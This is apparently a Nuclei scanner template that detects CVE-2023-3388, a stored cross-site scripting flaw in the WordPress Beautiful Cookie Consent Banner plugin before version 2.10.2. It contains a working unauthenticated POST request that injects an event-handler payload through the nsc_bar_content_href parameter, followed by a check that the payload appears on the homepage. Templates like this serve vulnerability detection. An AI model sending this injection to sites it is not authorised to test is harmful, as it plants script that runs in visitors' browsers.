id: CVE-2023-3388

info:
  name: Beautiful Cookie Consent Banner < 2.10.2 - Cross-Site Scripting
  author: daffainfo
  severity: high
  description: |
    The Beautiful Cookie Consent Banner for WordPress is vulnerable to Stored Cross-Site Scripting via the 'nsc_bar_content_href' parameter in versions up to, and including, 2.10.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. A partial patch was made available in 2.10.1 and the issue was fully patched in 2.10.2.
  impact: |
    Attackers can execute arbitrary scripts in users' browsers, potentially leading to session hijacking, defacement, or redirection.
  remediation: |
    Update to version 2.10.2 or later.
  reference:
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2857982%40beautiful-and-responsive-cookie-consent&new=2857982%40beautiful-and-responsive-cookie-consent&sfp_email=&sfph_mail=
    - https://www.wordfence.com/blog/2023/05/wordfence-firewall-blocks-bizarre-large-scale-xss-campaign/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/542a4079-b1a2-49bc-9ddd-ba7978c9992e?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3388
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2023-3388
    cwe-id: CWE-79
    epss-score: 0.65715
    epss-percentile: 0.9852
    cpe: cpe:2.3:a:beautiful-cookie-banner:beautiful_cookie_consent_banner:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: beautiful-cookie-banner
    product: beautiful_cookie_consent_banner
    framework: wordpress
  tags: cve,cve2023,wordpress,wp,wp-plugin,beautiful-cookie-banner,xss,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        nsc_bar_activate_banner=1&nsc_bar_activate_test_banner=0&nsc_bar_content_href=%22%20style%3ddisplay%3ablock%3bcontent-visibility%3aauto%20oncontentvisibilityautostatechange%3d%22alert(document.domain)&nsc_bar_type=opt-in

    matchers:
      - type: dsl
        dsl:
          - 'len(body) == 0'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'window\.cookieconsent\.initialise\({'
          - '"href":\s+"\\" style=display:block;content-visibility:auto oncontentvisibilityautostatechange=\\"alert\(document\.domain\)"'
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 490a0046304402200312cca3badf20187218e63fd3cc7261d4d6e02c9637ed35e0c3946777490a7e02206f81caeebd020ace971976c07846bf938219c98ece38dc6c982bdd22023022a7:922c64590222798bb761d5b6d8e72950